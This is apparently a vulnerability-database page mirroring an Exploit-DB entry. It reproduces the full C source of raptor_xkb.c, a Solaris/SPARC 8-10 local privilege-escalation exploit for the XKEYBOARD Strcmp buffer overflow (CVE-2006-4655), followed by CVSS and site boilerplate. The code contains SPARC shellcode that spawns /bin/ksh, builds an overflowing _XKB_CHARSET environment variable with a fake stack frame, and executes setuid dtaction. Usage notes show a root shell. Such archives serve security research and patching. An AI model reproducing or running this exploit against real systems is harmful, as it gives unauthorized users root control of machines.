Lucene search
K

X11R6 < 6.4 XKEYBOARD (Solaris/SPARC) - Local Buffer Overflow (2)

🗓️ 13 Sep 2006 00:00:00Reported by Marco IvaldiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 49 Views

Local buffer overflow in XKEYBOARD extension enables privilege escalation on Solaris platforms.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)
13 Sep 200600:00
zdt
CVE
CVE-2006-4655
9 Sep 200600:00
cve
Cvelist
CVE-2006-4655
9 Sep 200600:00
cvelist
EUVD
EUVD-2006-4643
7 Oct 202500:30
euvd
exploitpack
X11R6 6.4 XKEYBOARD (SolarisSPARC) - Local Buffer Overflow (2)
13 Sep 200600:00
exploitpack
NVD
CVE-2006-4655
9 Sep 200600:04
nvd
/*
 * $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
 *
 * raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
 * Copyright (c) 2006 Marco Ivaldi <[email protected]>
 *
 * Buffer overflow in the Strcmp function in the XKEYBOARD extension in X 
 * Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun 
 * Solaris 8 through 10, allows local users to gain privileges via a long 
 * _XKB_CHARSET environment variable value (CVE-2006-4655).
 *
 * "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
 *
 * Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10 
 * required additional efforts: for some obscure reason traditional return 
 * into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must 
 * be used instead of strcpy() (some new security measures were apparently
 * introduced to prevent exploitation), and the ld.so.1 memory space is a
 * bit changed. In order for this exploit to work, the X Window System server 
 * DISPLAY specified as argument must have the XKEYBOARD extension enabled.
 *
 * Greets to Adriano Lima <[email protected]> and Filipe Balestra
 * <[email protected]>, who discovered this vulnerability, and
 * to Ramon de Carvalho Valle <[email protected]>, who exploited it.
 *
 * Usage:
 * $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_xkb 192.168.1.1:0
 * # id
 * uid=0(root) gid=10(staff) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 without patch 119067-03 [tested]
 * Solaris 9 without patch 112785-56 [tested]
 * Solaris 10 without patch 119059-16 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define	INFO1	"raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <[email protected]>"

#define	VULN	"/usr/dt/bin/dtaction"		// default setuid target
//#define VULN	"/usr/dt/bin/dtprintinfo"
//#define VULN	"/usr/dt/bin/dtsession"

#define	BUFSIZE 1024				// size of the evil buffer
#define	VARSIZE	2048				// size of the evil env var
#define	FFSIZE	64 + 1				// size of the fake frame
#define	DUMMY	0xdeadbeef			// dummy memory address

/* voodoo macros */
#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() is needed by dtprintinfo and dtsession */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
	char	platform[256], release[256], display[256];
	int	i, offset, ff_addr, sc_addr;
	int	plat_len, prog_len, rel;

	char	*arg[2] = {"foo", NULL};
	int	arg_len = 4, arg_pos = 1;

	int	ret, rwx_mem;

	/* get the stack base */
	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(2);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* get some system information */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	rel = atoi(release + 2);

	/* get the address of strcpy() or sprintf() in ld.so.1 */
	ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));

	/* get the address of RWX memory segment inside ld.so.1 */
	rwx_mem = search_rwx_mem();

	/* prepare the evil buffer */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;
	memcpy(buf, "_XKB_CHARSET=", 13);

	/* prepare the evil env var */
	memset(var, 'B', sizeof(var));
	var[sizeof(var) - 1] = 0x0;

	/* prepare the fake frame */
	bzero(ff, sizeof(ff));

	/* 
	 * saved %l registers
	 */
	set_val(ff, i  = 0, DUMMY);		/* %l0 */
	set_val(ff, i += 4, DUMMY);		/* %l1 */
	set_val(ff, i += 4, DUMMY);		/* %l2 */
	set_val(ff, i += 4, DUMMY);		/* %l3 */
	set_val(ff, i += 4, DUMMY);		/* %l4 */
	set_val(ff, i += 4, DUMMY);		/* %l5 */
	set_val(ff, i += 4, DUMMY);		/* %l6 */
	set_val(ff, i += 4, DUMMY);		/* %l7 */

	/*
	 * saved %i registers
	 */
	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to function */
	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to function */
	set_val(ff, i += 4, DUMMY);		/* %i2 */
	set_val(ff, i += 4, DUMMY);		/* %i3 */
	set_val(ff, i += 4, DUMMY);		/* %i4 */
	set_val(ff, i += 4, DUMMY);		/* %i5 */
	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */

	/* fill the envp, keeping padding */
	sc_addr = add_env(ff);
	add_env(sc);
	add_env(display);
	add_env(buf);
	add_env(var);
	add_env(NULL);

	/* calculate the offset to argv[0] (voodoo magic) */
	plat_len = strlen(platform) + 1;
	prog_len = strlen(VULN) + 1;
	offset = arg_len + env_len + plat_len + prog_len;
	if (rel > 7)
		VOODOO64(offset, arg_pos, env_pos)
	else
		VOODOO32(offset, plat_len, prog_len)

	/* calculate the needed addresses */
	ff_addr = sb - offset + arg_len;
	sc_addr += ff_addr;

	/* set fake frame's %i1 */
	set_val(ff, 36, sc_addr);		/* 2nd arg to function */

	/* fill the evil buffer */
	for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 
		set_val(buf, i, sb - 2048);
	/* we don't need to bruteforce */
	set_val(buf, 13 + 256 + 56, ff_addr);	/* fake frame address */
	set_val(buf, 13 + 256 + 60, ret - 4);	/* function, after the save */

	/* fill the evil env var */
	for (i = 0; i < VARSIZE - 8; i += 4)
		set_val(var, i, sb - 2048);

	/* print some output */
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
	fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return(env_len);
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
	return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
			addr = map.pr_vaddr;
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr & 0xff))
		addr |= 0x04;
	if (!(addr & 0xff00))
		addr |= 0x0400;

	return(addr);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0xff000000) >> 24;
	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
	buf[pos + 3] =	(val & 0x000000ff);
}

// milw0rm.com [2006-09-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Sep 2006 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 24.6
EPSS0.00649
49